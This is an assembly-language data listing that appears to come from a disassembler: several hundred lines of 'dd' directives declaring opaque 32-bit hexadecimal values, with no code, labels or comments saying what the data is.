		dd 3DF999Bh, 84A80B11h,	2CE0829Fh, 68C44054h, 0B230AD7Dh
		dd 27E3105Ch, 0C4CA1080h, 883A0E5Bh, 2862078Bh,	0A3919CC0h
		dd 34CA5182h, 2E31DC02h, 6B8E1900h, 27764769h, 48D91D6Ch
		dd 9ED809EAh, 42004CAh,	0EB628455h, 980C9931h, 9180244Dh
		dd 0F3B7A7D6h, 10C2ADEFh, 0A083D090h, 23092484h, 0C9C609Fh
		dd 98F047CCh, 441AB4Ch,	0C2CD9ED6h, 0BE15CC92h,	5C4C4040h
		dd 0BE88AD42h, 9509063Ch, 9189F2Ah, 96A1017Dh, 47187F0Dh
		dd 5A110364h, 56FB20C6h, 4D541054h, 41C3AABCh, 30C997C2h
		dd 0D41CC38h, 24021549h, 0A284C09Fh, 70A4AA90h,	93C17C09h
		dd 0C44D510h, 25226508h, 7C0FE818h, 0F1BF2444h,	2FED45BCh
		dd 0A805EA04h, 81FECDD0h, 0E00F86BCh, 0CB04CD9h, 87828018h
		dd 92C54D29h, 3A7008Ch,	639D4784h, 0DE0016CCh, 9844E642h
		dd 1DBD2D37h, 0D2CDD833h, 0D57C0EF8h, 0B5063F80h, 48E00784h
		dd 73C50B00h, 6764BEC0h, 5F798Eh, 83EAE101h, 0F30E3465h
		dd 3F94AB20h, 7B804BF9h, 64F5DD8Ch, 0D807F1DAh,	0C92F245h
		dd 0F29BE86h, 21F6D0E9h, 44B2DE0h, 9D2C7C90h, 6F0F1061h
		dd 274DC69Eh, 235D00F1h, 5ADD4864h, 963E91EAh, 544DF433h
		dd 5B560EB8h, 0E3A5CF65h, 7F10BF4Bh, 58332E19h,	262B00CEh
		dd 63E1DA3Eh, 0F903EC90h, 8A5D8C15h, 319107B9h,	40B7B8B2h
		dd 3008CAC8h, 763C5400h, 46B45B15h, 0BC51791h, 0ED8C451Eh
		dd 0EC608195h, 0E4476057h, 44E40658h, 81C158BCh, 0F775D35Ah
		dd 0E70DE03Ah
		dd 1770BC00h, 817CA86Bh, 0F85301B9h, 1FE278F9h,	0E0A475BFh
		dd 5D151733h, 1FE4969Eh, 104050FAh, 4CD36818h, 0F809C927h
		dd 8DAC4A0h, 0EA07D5C2h, 0ACC7793h, 3575BC71h, 41507A80h
		dd 16F642DFh, 81044C0Dh, 0D500A90Ah, 1FCCEF3Ah,	806FB832h
		dd 0E8B5AEF6h, 9F304005h, 1C7F81ADh, 765F00DBh,	0C3C2D6F7h
		dd 0E6289CF5h, 750074B8h, 0C47F60F3h, 27441Dh, 28CABBF2h
		dd 8CEECC58h, 0D9ABAF07h, 0BC231E37h, 0E38A81C7h, 130F30E0h
		dd 548B0AF7h, 9C1160E8h, 65607E95h, 9EF83520h, 0ABBF2456h
		dd 8A778068h, 0DF3BDAFCh, 0B8CF1701h, 0C9867C54h, 0DD8EE8h
		dd 910637BAh, 0D2D30AB9h, 0A9136B15h, 191200F4h, 902EF555h
		dd 0FBEE09ACh, 0EC807ED8h, 7AC79834h, 5C1244B8h, 143384E7h
		dd 804AB993h, 2E4D5440h, 0CC940156h, 1E23F18Dh,	63088C8Ah
		dd 0AD2086h, 2F5556F9h,	0F66FD83h, 5C0EBCE4h, 6E15E9B2h
		dd 262003E4h, 0ACD103EDh, 98A10AE6h, 950D6102h,	0E00450C2h
		dd 907A1DB4h, 0F59D0E8Ch, 0BC00C067h, 6CBD8E57h, 92D9B760h
		dd 177492Dh, 0DAA46EF6h, 0ECC0099Ah, 2F005426h,	2820D074h
		dd 3C9861h, 5EE93D15h, 0FC48A9AAh, 0C84F556h, 0C976A409h
		dd 0A0832A80h, 0CA20AC8h, 8CD003F3h, 0CA19989Eh, 8F661200h
		dd 1743A5F8h, 518F40Eh,	81C11B50h, 2108C89Eh, 76E2B300h
		dd 0FD11AB8Eh, 0FF930588h, 5B576Bh, 0DAF3638Ch,	0F71831B0h
		dd 0A0D9BA6Ch, 2512006Fh, 7951993Eh, 0B900C6DFh, 0ABD9F536h
		dd 0F423AE60h, 5506039Ah, 18B11347h, 159C44F5h,	1E0C0366h
		dd 9E5118B6h, 0AE9D910Eh, 51B8700h, 8AEC5FDAh, 685001B4h
		dd 0A7A85D2Ch, 84F32096h, 1CFC4556h, 0CCDE562Fh, 5EB0F0D0h
		dd 3B0056F7h, 10D0175Ch, 53095D32h, 3E21A889h, 0A3059E00h
		dd 48421952h, 0E200740Eh, 9A7AC520h, 0C04C8C32h, 2C0112A4h
		dd 49D1420h, 95DD008Fh,	0F51BEA43h, 324C56A2h, 8CFDBC18h
		dd 0E8E4B400h, 0E37AE9C8h, 3A4090EAh, 0A801B973h, 0C0E7EF90h
		dd 85F02C5Bh, 8045E9h, 2492E8AFh, 490E637h, 0C1FBECB4h
		dd 80BCA80h, 81FA8809h,	10C54412h, 0E4E24600h, 3CAA1D5h
		dd 3576EEBCh, 71A764BDh, 329E0B56h, 528A004Ch, 5FCCEE0Ch
		dd 39D3A60h, 16B40E80h,	2C3F43BBh, 0D0826528h, 0AC4E3E2Ah
		dd 75730900h, 5C8B95BAh, 13421D15h, 0E356C3FCh,	43B97AA8h
		dd 142828A7h, 80A8282Ch, 0F0C016F5h, 265CB232h,	95F08418h
		dd 8C41C0E9h, 3EF15075h, 7A10C047h, 1990BDEAh, 0B9099EBBh
		dd 0A65AFCBAh, 97B91200h, 0CDF9198Fh, 0E81602F0h, 4035AFEAh
		dd 0ECD55880h, 110022A5h, 0CD043EF2h, 33DF43D8h, 0A6EE887Ah
		dd 8FED7103h, 0B0AEEE20h, 2EDC5DF2h, 6404998Dh,	30F773C5h
		dd 6FFE5B39h, 8B12909Dh, 840072BEh, 9307CCBFh, 6B4968Ch
		dd 5880E9FFh, 96695B04h, 9806E4C5h, 1E22380Fh, 835D097Ah
		dd 0F860AA03h, 0F450EE98h, 0D7169924h, 8400A574h, 38551C23h
		dd 1882540Eh, 0ED3A008Ah, 0CF6B1DE6h, 0C0C01691h, 6AB1826h
		dd 75D98D9h, 6861DD8Bh,	5CE95060h, 100523BDh, 0C2E36F07h
		dd 4A8D4CC0h, 7134019Bh, 4B3EDFF6h, 8BBEFC5Bh, 0B8E5A77Fh
		dd 1891BC80h, 0EAB96616h, 0DC230649h, 79998AB5h, 75F09A01h
		dd 825CEC69h, 0C39CEC48h, 0AC47B310h, 0C1F8C2C4h, 1156F330h
		dd 88E5CCB9h, 0FA328171h, 396CAB56h, 0EE2900D0h, 7304646Ah
		dd 9C9D11B1h, 8E0F1609h, 10827832h, 7781613h, 0AC8ED228h
		dd 810EECA0h, 0C24D1386h, 0ECAE1511h, 0D521868Ch, 0BAC20500h
		dd 621EC76h, 0B61302B7h, 5126843Eh, 9446ACE4h, 3E655903h
		dd 32CC0AE0h, 3268207Ah, 0E5246C64h, 1017108Bh,	1EF8F01h
		dd 682088F5h, 0EBC78873h, 9CA7A23Ch, 8496254Ch,	0EA167400h
		dd 883C1AB9h, 0B09804F6h, 90606531h, 0B82192CDh, 80FA9891h
		dd 0E0346437h, 49448C3Ah, 64080662h, 814C8584h,	5681AF00h
		dd 0EED0F98Dh, 1DBE5CE2h, 2688FC1Ch, 69540050h,	0A7AE812Ch
		dd 9A03A8A4h, 5B92F5Ch,	95FFE8C6h, 0A8A4FE93h, 393EA9E0h
		dd 218130CAh, 0D10773C8h, 8BB3D1C4h, 87C7EB21h,	0BF40B512h
		dd 981BE2h, 132CEFF8h, 9ACE69CDh, 0A938D212h, 0E8284C14h
		dd 57038C76h, 30B38B40h, 5CA00903h, 0C8A01ACFh,	86EF559Ch
		dd 24DAE60Eh, 88352011h, 6999C8h, 0D2A5B1F9h, 0BE789C50h
		dd 3C539A3Fh, 77EF8342h, 0EAA28B70h, 85FD80F7h,	3EEE37B8h
		dd 75BC8793h, 40E5B01Dh, 5730FA69h, 0FBB80EC3h,	4F91770Eh
		dd 0B74CE0C1h, 0EEF8D328h, 0C9090966h, 640F2C38h, 0D2139280h
		dd 42027DF7h, 0AF66B75h, 0ACBE807Ch, 2EA81B86h,	80FB5445h
		dd 48A6CF3Fh, 2D00D0EAh, 6BF49753h, 38987CB0h, 809D651Ah
		dd 21E91819h, 6B002B26h, 0A59A5DAFh, 7173123h, 2C3D85EEh
		dd 28387008h, 0E75CB50h, 0A6462900h, 56269BAh, 0C511001Ah
		dd 508FCFF0h, 2B1ED8C7h, 0CD00F753h, 514DAA58h,	11833FA5h
		dd 5CE609E7h, 0B903ED20h, 41FD4AAh, 1956E9C2h, 402D4886h
		dd 530008FAh, 6314A384h, 5C7179h, 0F7B2311h, 0C26F9FDh
		dd 7E912A2Eh, 19612B00h, 0CFE2671Dh, 2E21F7D1h,	807FCFBCh
		dd 7B8EF11h, 7B2F829h, 0BA4DFC84h, 212646ADh, 46C7C00h
		dd 5FAE6294h, 4C140EA5h, 0C3C08122h, 2353242Eh,	136E0F03h
		dd 390EC2Ch, 0BFF0C118h, 0D0004726h, 4238732Dh,	193CFE15h
		dd 9C8F960h, 93D98091h,	435E3FC0h, 0D7550207h, 0C6D82E58h
		dd 761598A0h, 2500AA78h, 88C10D90h, 2869CE50h, 0EB4608Ch
		dd 0D0431142h, 0E6553040h, 440053FDh, 0ED5F769Eh, 39CD4D9h
		dd 9AB828C8h, 8AB802D3h, 0E70005E9h, 70186C06h,	72B732D1h
		dd 0FC52FEB9h, 57F8F1h,	0B8FD2D65h, 903EA13Ch, 0F4505800h
		dd 4576B0CDh, 0EBFF2C8h, 39FF7B59h, 1DF23600h, 4900EC47h
		dd 5E4F2D87h, 0E4EE32h,	2081DD40h, 83889063h, 7A0E4870h
		dd 40057678h, 8C1D4FA1h, 773E0E2Dh, 0D3E08726h,	0C4D93A1Fh
		dd 75035A13h, 39846B03h, 1EA7B8EEh, 0D041005Dh,	0C761D4Eh
		dd 18C7D1F1h, 7DD09730h, 1C35D7EBh, 3789443h, 210D938h
		dd 8C184800h, 19401E4Dh, 1C60E07Eh, 70C43C15h, 7F800859h
		dd 8C1CE477h, 258B9EFh,	7814018h, 8D6138F3h, 301CE63Dh
		dd 0BE7FD001h, 7205563Bh, 7366C980h, 5A0C4A19h,	1A0613B8h
		dd 0D970EF15h, 12B70050h, 0F864D106h, 0D3173795h, 4B0CE00Ah
		dd 0E1CCF05Eh, 0A9D88200h, 7866871Fh, 59410106h, 0E5C01019h
		dd 4E280586h, 0E6F0A0ADh, 8080EBDFh, 121E477Dh,	0D618B0D8h
		dd 73987CA5h, 8A4B01FEh, 0EDC51C98h, 2BD2CC6Dh,	0AEDFC600h
		dd 0D9197E3h, 6F6200D5h, 1CEB942Eh, 260015A4h, 6CDF659Ch
		dd 380F9FE3h, 0A1839D7Ch, 81211FDDh, 7D731114h,	0A00EBF04h
		dd 473F9E70h, 0E0E8ADCFh, 7439027Ch, 4C3CD000h,	93EADFD9h
		dd 0FE0A2670h, 57DE04D9h, 0DD53C01Dh, 8E3D661Bh, 81C9396Ah
		dd 14F4D3C2h, 6ECD7335h, 0EE639E8h, 0C3FFCA41h,	9FFC8100h
		dd 3F02BAAEh, 8A245821h, 0ED6DC02Eh, 3A0C0061h,	38055F5h
		dd 0D73ECAE2h, 52A1806Eh, 37BDFFF1h, 2CC90CBh, 31BB20F3h
		dd 0BC58A4BAh, 32B68800h, 0ACC6C96Bh, 698F30ECh, 806D3418h
		dd 68BE9B00h, 3C66231Fh, 3FD94CC7h, 0F37BD00Fh,	0DCFA0F3Dh
		dd 0A0991DC0h, 5600D43Dh, 54DA10D8h, 0E8DE0B3h,	0EA15E820h
		dd 0E4FD0418h, 0E918B260h, 441FC4h, 674BDC06h, 0D7E14261h
		dd 0DEC8D800h, 53541741h
		dd 0E28E005Ch, 42C2ADECh, 2B241FAEh, 0EA0EDF59h, 4BE878D2h
		dd 4D6B009Ah, 3597996Ch, 0F91CD83Fh, 7681C20Eh,	0F0F3559Bh
		dd 4DD885D6h, 69E7A420h, 240CFE1h, 52546F80h, 9800E285h
		dd 0AA6B2F77h, 8036B330h, 72403439h, 33650C66h,	0B1689E20h
		dd 1C0306F4h, 41FAC026h, 6FBA91AAh, 4ABE1E87h, 7354D37Bh
		dd 832822A8h, 21BB9900h, 9D823443h, 381300A8h, 640490D5h
		dd 6B00697Fh, 0BCF47353h, 0FB6D37h, 0D7E8C859h,	0FD02A85Dh
		dd 2CCCA400h, 1E64D670h, 4D2600DAh, 4B75685Bh, 0BA00F589h
		dd 33EE7CC1h, 31D7A1Ah,	0B5F78E1Fh, 0B0074293h,	2A48CA32h
		dd 9CD0604Fh, 9824C0B0h, 367D48h, 0F9EAEC71h, 0CC4E11CDh
		dd 0D29E2100h, 29251F8Eh, 65DD0038h, 0E4704AF1h, 0AC92B26Eh
		dd 5C4BDA00h, 0FC35F5B3h, 1683048Dh, 873138F1h,	2C5748h
		dd 0D56E5D1Bh, 295A1100h, 0CAFD972Dh, 51480046h, 0DADD9675h
		dd 30073F4h, 1C352949h,	0E4E1091Fh, 48920F4Fh, 0CA208DE3h
		dd 8A91F8F2h, 32513Bh, 80E5DAA3h, 7E2E8814h, 9B081DBDh
		dd 360B8004h, 34F08B4Ah, 52026C92h, 85CC0591h, 9307776Ch
		dd 0F7C79E78h, 0CA5FB145h, 0FEABC8E5h, 0E126A506h, 10E873E6h
		dd 1E7D1839h, 0B000F49Ch, 6E6D79ECh, 0F8E0C033h, 0CB0A5CB6h
		dd 3F752007h, 0A1C0FC2Bh, 0EBF39Ch, 40ADE647h, 0D5617BF6h
		dd 45123173h, 3C00DAB7h, 0B26F0552h, 0F4422810h, 4E130CD0h
		dd 0D88C3C19h, 0FF8F291Fh, 678CED80h, 0F8AEFDC0h, 0A29844h
		dd 841925ACh, 0E7FAF845h, 910572FAh, 0D8979514h, 27F1C402h
		dd 0A84440B3h, 0B1360325h, 0BDE05D22h, 515C68C0h, 0C1B0CB05h
		dd 0B00045E4h, 46BB5EBCh, 89E20414h, 0C064D778h, 25A4736Ch
		dd 13029403h, 0F0E3E759h, 0BF2CCAh, 3FFCA8E6h, 5E80D6EFh
		dd 3A11820Eh, 0D38780E4h, 797DEEEBh, 93B1E57h, 0F96A0030h
		dd 3274F0BDh, 122CEF72h, 6D004DA3h, 55A1651Fh, 808C0050h
		dd 0FAF25C13h, 190FE337h, 42B1F1EAh, 0C03AB561h, 3FC56AF9h
		dd 0DE802547h, 7382FC69h, 133E56A6h, 843280D8h,	0C9E5C11Ah
		dd 4607002Ah, 7B40D911h, 2F00525Ah, 0BF7A253Bh,	0CCE5D89h
		dd 2CCD458Ah, 6D397419h, 0A0119E3Fh, 4FDD383h, 0CAC1B86Bh
		dd 4A7500D1h, 5EE91E53h, 0FF0064C8h, 0D27CD5C7h, 51A682h
		dd 57A2E335h, 0F55F5C33h, 816AAB00h, 40C2751Fh,	0BD7B069Eh
		dd 0BEFB7A98h, 0C85DF330h, 6317A1h, 1D29AF64h, 0E334C9B1h
		dd 732F0E1Eh, 5270B600h, 0BD01E5h, 5A8A234Fh, 143D6968h
		dd 71DD6618h, 730F5E31h, 0A79B0A31h, 80C45995h,	0B290A89Ch
		dd 0DD00F0F6h, 42040BE0h, 600ABF05h, 0C0458137h, 6200EF68h
		dd 357173FAh, 51CCDF74h, 0E1D4C0FDh, 220802C2h,	76763EBh
		dd 45B07CC0h, 99E8BC0Eh, 0E5149220h, 0AC17005Eh, 42E497F8h
		dd 86760085h, 7F6C058Ch, 260FFD9Eh, 3819917Ch, 7597B0h
		dd 23DDA001h, 64252745h, 0E4DB7B00h, 2A2E867Fh,	0DCA0059h
		dd 8E6030ABh, 0A10436E8h, 22B9716Bh, 53804C95h,	160C8F4h
		dd 9297D86Ch, 0D01B585Bh, 8E030D6Ah, 0EAAE802Fh, 6F29F025h
		dd 686300FBh, 1FA362D2h, 0FC00DB38h, 7DD8920Dh,	7A3B4E73h
		dd 68190EFAh, 8B80C8D7h, 0C2C45BB9h, 910ABE02h,	0E1B37FECh
		dd 808FA3C3h, 0FF600B01h, 355B9A63h, 20FB3417h,	57C40Fh
		dd 16F9BA94h, 2FE7B59h,	903A694Bh, 9C49B7A0h, 62063025h
		dd 5F44D500h, 7E857FBFh, 13A7DCBh, 83CC7BAFh, 205E0733h
		dd 6100742Ch, 71481FFCh, 75B5854h, 78ED0C50h, 0A055A786h
		dd 7F49DD93h, 2135E000h, 8D3A6BA6h, 0A29600B5h,	8F8CE778h
		dd 8107DFE6h, 0D47B57BFh, 0EEAFF180h, 4DDE1D29h, 0E4ADC04Ah
		dd 6818D736h, 80F68824h, 9D23C100h, 0EE43A909h,	4BE30196h
		dd 0D0B28963h, 1670D00Bh, 6A231B01h, 7EE595D5h,	0EAA01E0h
		dd 0DDEED4F6h, 798A5220h, 0DE075521h, 0FF7AF213h, 91DD600h
		dd 0FB5309A1h, 0A8A02534h, 80EF2284h, 0BF11CC60h, 1FF7E47Eh
		dd 80CFF925h, 0FB3BAFA7h, 843AE571h, 198D802Ah,	52ED5FE3h
		dd 96660047h, 8A5C1120h, 7B12C4A1h, 0A100BFF2h,	7F09D4D8h
		dd 937DE9h, 0DB4588B4h,	15BBD6B9h, 23F25DE2h, 0C006BC00h
		dd 9241E355h, 32100DCh,	0D470E0FAh, 0A000A390h,	28144E83h
		dd 791E7140h, 0CD5D1F0Dh, 1F8FC093h, 75B98764h,	7F84CB00h
		dd 0A6985EA2h, 459D3E4Fh, 36F52A80h, 0BE5518D2h, 0E1168F17h
		dd 0A36E2C40h, 1DFE57h,	5678014Eh, 9B8F6221h, 37A75C00h
		dd 8967355Ah, 1B611E54h, 96A406D7h, 647F5025h, 0D6914F00h
		dd 0E77FB5AEh, 3C700083h, 0F57A4E7Dh, 82009924h, 0ADE49456h
		dd 38A727h, 8E39C8A6h, 9BC62AB2h, 6531B516h, 9BA7407h
		dd 0C5B9CD20h, 0C04A40h, 894A3A74h, 3F19BB35h, 6F083B20h
		dd 496470ECh, 7D00C8BCh, 0FC6E4518h, 0E6301CE2h, 0BDF4082Dh
		dd 37F00099h, 0E87E49Eh, 59585828h, 0CC860007h,	0B0214308h
		dd 0EC31F055h, 5AE3053Fh, 0C5002C0h, 0E5703A2Ch, 6E205200h
		dd 0EF165E98h, 88B6003Ch, 82AA87D7h, 0BD1E32B2h, 19403EE1h
		dd 9A0B9E80h, 2DE70371h, 89578715h, 75E05100h, 0BA3990C0h
		dd 747C0F19h, 87808E7Ah, 0E95CAC6Ch, 0BF266600h, 0AEB9409Fh
		dd 0DC030077h, 0AB433956h, 8100DEB7h, 94388C9Ah, 322FC75h
		dd 0FF199B4h, 80FD8FFEh, 0D10B3EAh, 0BA005598h,	30D2A074h
		dd 1D8B5657h, 0ACCB189Ch, 7B5B00C5h, 88E5865Eh,	8CD27200h
		dd 0C7F2EABh, 23A20071h, 39A3FE44h, 0DE397E9Eh,	22098788h
		dd 0B5A36C4Dh, 10E7F091h, 3B4C1762h, 0E5C84EE2h, 9E70ED83h
		dd 0F7931100h, 41BA4459h, 29119B9h, 803E0848h, 586C3321h
		dd 0A086D86h, 607A9F73h, 34040824h, 15593A60h, 0BAF9219Ch
		dd 7F9588h, 0C9586ED0h,	323E89A3h, 1BEA8965h, 14702337h
		dd 3D93B807h, 8B1007Ch,	914203FEh, 9CF01E8Eh, 0BDF05700h
		dd 0A559F6Eh, 0B7FCA8B2h, 7069009Bh, 0D2440BB9h, 64034F90h
		dd 4E7B3B6h, 1FA6889Eh,	8BECA9D7h, 0DE4A78E4h, 0B013DC1h
		dd 0F22DC979h, 0DAE5F81Bh, 31601C74h, 7CF32231h, 155A1BDEh
		dd 2FD8A936h, 0BB1CEC05h, 3B003244h, 8F5A25B3h,	0EBFA0EF0h
		dd 1AE76A4Ah, 98C6ACBh,	0E402765Fh, 0FD0073B9h,	19CA3E1h
		dd 9A28CE80h, 0D1295E88h, 0DB2187BEh, 0CD3A3E0h, 0C17C89AAh
		dd 140BDC0h, 0DD33EDB3h, 4A8A39ADh, 0C719C864h,	6CF152DBh
		dd 11134D60h, 0AF0ACE1Ch, 887810DBh, 2DED02h, 0EE2063B2h
		dd 0FD55D118h, 3524277Ch, 0F500C090h, 5DF8E8E4h, 3A09082h
		dd 8788A028h, 0A022224Eh, 23FE0031h, 0F27C2AA6h, 7D248315h
		dd 0B831D033h, 870C4BACh, 2A557A04h, 0CE327192h, 79EE5E20h
		dd 0F4570EFCh, 38810115h, 704E9FB6h, 9E0C0DCCh,	0C16DB24Dh
		dd 725E07D8h, 590BCD11h, 0BA598002h, 0FF0E7D01h, 20BB0C20h
		dd 21070DBFh, 0B1E86C09h, 682054B2h, 3E3A64h, 9BB43BA9h
		dd 0B57B9686h, 0BD03D290h, 19F4AC2Ah, 1AAC3C3h,	0C5997320h
		dd 4E57FBCCh, 0C8660820h, 701B623Fh, 0FAB02448h, 85D04000h
		dd 192C68DDh, 0E2030061h, 36BC4FEDh, 4613F2A2h,	0D60016D4h
		dd 7CF0B732h, 1DC93EBh,	0BAAE585Dh, 6F19CAF1h, 52AD8850h
		dd 0F0793F58h, 0F4A95180h, 0A44A225Fh, 16BEE500h, 6637D7C4h
		dd 55971327h, 230C3A9Ah, 5BCE000Ah, 6A607718h, 0DD1CFD02h
		dd 4899E502h, 0A21DD0h,	291FE493h, 87409C85h, 0FF8F8001h
		dd 73773BA5h, 2088DAD3h
		dd 72CD4C5Dh, 819C1C0h,	516276Eh, 3611ADBDh, 850C007Ch
		dd 72988A50h, 0D3B40650h, 0BA04E830h, 18F7D629h, 31E4659Dh
		dd 94632A68h, 0A0D43391h, 0F8FE8369h, 79DFFDh, 96E8289Ch
		dd 44B056BAh, 7B283EE4h, 53008C2Bh, 39A21B7Ah, 60AFE749h
		dd 87B1B8E2h, 0A5135E70h, 3031F61Fh, 0EE0D4BFEh, 222D66E0h
		dd 0D0702048h, 53C0010h, 242EBD79h, 78AC00F6h, 0B6C97B34h
		dd 0E428024Fh, 0B208D0F1h, 89BBB6Ch, 0F8606FF2h, 72BAAF59h
		dd 42928529h, 55B60000h, 0B3448Dh, 0CE15E5F8h, 60DB4D73h
		dd 908252h, 441C6BB4h, 30DABD92h, 98D13899h, 2900230Ch
		dd 0C893C4F9h, 14CADE0h, 8B6762C6h, 0CCD09540h,	36395A3Ch
		dd 9894A866h, 41AD4B30h, 0AAC470h, 0B29CDBDFh, 13944809h
		dd 0D6DC8D00h, 6BFE9FC2h, 0CE0413Bh, 602B5B8h, 0DEBEAD6h
		dd 0CAD0A0AFh, 58CCDBh,	0E5D2693Ah, 0A1B28BEEh,	33508876h
		dd 8FA187C8h, 0FA3BFD34h, 41F0CCA4h, 910431FFh,	0AC3E1423h
		dd 9A64E00Ch, 1602BD61h, 833BD6DEh, 83F4E33Eh, 9C5CA13Fh
		dd 0F4209Ch, 18F2C924h,	671287B3h, 5C207CD9h, 792780h
		dd 0C31EF4E6h, 0B674705Ch, 40056F18h, 2A62241h,	4656A5F7h
		dd 4862DBh, 0F20F6564h,	25916898h, 484167D2h, 3A5C24B0h
		dd 15CB31DEh, 782B4200h, 12F41FCh, 5F8F2D0Eh, 64BBCC64h
		dd 29023B24h, 0B5B49EEFh, 0E9CC6892h, 84A92E37h, 0F664035Ch
		dd 5BD8F120h, 0BE4C0F1Eh, 6551008Ch, 189A0CC2h,	7BED1717h
		dd 0FB8C0039h, 4FE6800Eh, 40A22930h, 0FE8C85B3h, 752BE4B0h
		dd 8199000Dh, 0A59CF189h, 6D2E4FA3h, 830080ADh,	96DD1BA0h
		dd 76313C5Eh, 8892A53Eh, 71E832EBh, 0C962D86Fh,	5CCE1066h
		dd 4F20488Dh, 0C0D87453h, 0B4B95170h, 0A8C3B03h, 69F02h
		dd 6DD380B9h, 31D6075Eh, 0BA18D1F6h, 13E0D0F3h,	15814054h
		dd 492EA68h, 5434B6DCh,	9865EB3Fh, 38089151h, 0B3922111h
		dd 48AC004h, 2DABC3EEh,	1C86F7A2h, 0D133A039h, 4548105Fh
		dd 18802018h, 98EFD949h, 0B9197B04h, 9299ACEDh,	0DA5009B2h
		dd 0E2091885h, 693537A4h, 0CA65784Ch, 9B1CFD19h, 101F714Fh
		dd 502BB6ADh, 52F91022h, 89A7760h, 35650410h, 489B20Ah
		dd 0FB1944B6h, 994FCC9h, 0F7C21CD0h, 0B48D1DF3h, 0BA0C0808h
		dd 3B1A14A0h, 8A1D4CA1h, 24141E20h, 500A104Dh, 31FBB600h
		dd 0CD5CEF6Eh, 895FE3Fh, 0B9A37394h, 0BB09F6B0h, 9E223C20h
		dd 1D10828Fh, 0A0267C04h, 0FE8AC02Fh, 8640C467h, 0B0D26588h
		dd 5C390271h, 0A1383B74h, 200048C2h, 16E8E219h,	1F3067F6h
		dd 0ED0E19A5h, 843F4C83h, 22DC9E2Ah, 6C98B80Ah,	0C3493060h
		dd 4CAA1FE8h, 0CC01A08Eh, 359E8AE0h, 649C2438h,	1CB3C91Fh
		dd 1EB420E7h, 3B309CB4h, 0DE98839Eh, 1F0B6985h,	488DE233h
		dd 31F0E023h, 54FD03D3h, 62735B1Dh, 65800800h, 8C93F6CBh
		dd 259E9EBDh, 40928804h, 0E4F980DFh, 104E8DEh, 387BF98h
		dd 0B3B00DEDh, 7548C1h,	7659C51h, 0E98187FBh, 0BE7E600h
		dd 2E833827h, 29A600AEh, 85C7BDEDh, 14004D81h, 0BFC4669Eh
		dd 291CEF68h, 0C44BABh,	0BAD323D6h, 9A38561Fh, 0F1A29886h
		dd 1D299E8h, 249D41AAh,	87B10802h, 0F3C8AF89h, 6DA6014Fh
		dd 9C209ED0h, 32AB03E2h, 0F8EA096Fh, 16E1281Eh,	9C571E06h
		dd 9C837CC1h, 778D0C80h, 0F9000238h, 5E799DA7h,	366808A0h
		dd 0E169B71Eh, 76086360h, 503E2C74h, 31DD09Fh, 5BA379CDh
		dd 39D1C32Dh, 0E0420F0h, 7AF510A0h, 0EEA6A21Dh,	0FA1BD58h
		dd 0B0ED5002h, 0FBACA18Fh, 263100FAh, 0C152A3Dh, 34984502h
		dd 0F8E55003h, 0A53CA80Ah, 45641707h, 88B881BAh, 18602957h
		dd 4CF1410Ah, 0D29B0AEAh, 50B8AC8Eh, 0E9861C42h, 0D69C4610h
		dd 830E24EAh, 60A723EDh, 0C2D2F704h, 2E9975C4h,	4EEAF7Ch
		dd 81BCD6EBh, 0A26D20h,	14298708h, 0A4B05E50h, 271EF00h
		dd 31422D24h, 0C58EEA17h, 105EC0Fh, 0B6C2F232h,	23BFD8BEh
		dd 2A646E00h, 13A34CFEh, 0A669A77h, 7ED9E961h, 3240246Ah
		dd 66FA8F90h, 0C4905FC9h, 0A35076F5h, 0E9C0B8B8h, 820127FDh
		dd 501A5A67h, 0AA0CD84Ch, 9A081D94h, 46918CA5h,	0C81E5004h
		dd 0C31129Bh, 8187F2A0h, 0C9A8F9F3h, 0F8DE1802h, 4071304Eh
		dd 22C59D4h, 99A07B0h, 24C849Eh, 48481F05h, 7D3D1B60h
		dd 706429C7h, 0EF0B27F0h, 699C0034h, 7C611C4Ch,	39648F1Dh
		dd 1540B940h, 0FCA8AAC5h, 5E0D1C12h, 118E7823h,	6726B29h
		dd 331BAAFDh, 4C1D1211h, 9E880E7Ch, 2B505895h, 90B16426h
		dd 2D03603Eh, 0F04F50F7h, 9CC00E30h, 0FD26B226h, 200080AFh
		dd 6850F877h, 4A7201h, 716CCBFBh, 2CBF0C93h, 9E0B7A00h
		dd 8F46DB39h, 14CE0172h, 0C89D3BCh, 1B7DEC3Fh, 9E00BF78h
		dd 821A7B47h, 0B8D2EAB6h, 0B93C0116h, 766DFD04h, 853980D4h
		dd 882FA187h, 2300F1F8h, 6007B82h, 10759DF6h, 0F85CED46h
		dd 6F7800A0h, 6A39163Fh, 3B00FC80h, 0BC159F19h,	0F0FEC60Bh
		dd 5311C667h, 5A7860A6h, 588BA337h, 9B3412C0h, 0D5612836h
		dd 0F6680740h, 8172C787h, 80712BFFh, 0E3C3978h,	3082923Eh
		dd 6DC17DA1h, 0F5F82B20h, 818E70Fh, 11C0006Ch, 5717578h
		dd 0CB4B94B1h, 8E980836h, 0ED6FBE80h, 388541F7h, 6004E97Bh
		dd 80D4E3C1h, 1B8289A7h, 486A6128h, 0C8167000h,	5D070B1Eh
		dd 0B86B0605h, 2175EE6Ch, 35B07102h, 82C6F4AFh,	0A91977B4h
		dd 4D6680B8h, 70DF1Ch, 0CD7CC492h, 0EE0FC858h, 95853A18h
		dd 7A21529h, 0A57A71E8h, 6D81E096h, 0A00791BDh,	5541337Ch
		dd 0BFD3E0C0h, 14FC1202h, 5417029Bh, 0D486B8C9h, 0DA1D491Dh
		dd 0B040C08Ch, 7D747126h, 51B0037h, 5FBD6061h, 89061EE3h
		dd 0F61DA27Eh, 71BC0178h, 0A1AC58C4h, 2E10C877h, 3E3145F8h
		dd 826BE1D4h, 8ED32880h, 0DCF75755h, 590F4D1Fh,	4AC43C40h
		dd 34A429h, 0B1C06AA3h,	109715ABh, 0EB14EF00h, 36962A91h
		dd 10F46028h, 0A65E5699h, 0E75ABF1Ch, 40D6768Eh, 1305C03Ah
		dd 0AD70D3h, 97F853Dh, 9CC57B23h, 2F4FEA01h, 1822EAFh
		dd 36A639ECh, 5850F1C4h, 0D960488h, 3D1E3Eh, 7798A620h
		dd 39D6391Dh, 350FADF0h, 17209F0Ah, 3C09DD96h, 3D27E006h
		dd 42285979h, 82C51172h, 74046121h, 9E02769Ch, 2302AC86h
		dd 0A8522B5h, 236DFF22h, 5111F19Ah, 8908BF53h, 1E082B2Dh
		dd 79469870h, 0D3001711h, 56DE3BC7h, 24B76Bh, 72FF1066h
		dd 9AD269DBh, 225A5900h, 0CDBA0570h, 0C7813907h, 402A7700h
		dd 33186472h, 7F531300h, 5814EE5Ch, 0F47A0015h,	0CE4C26C4h
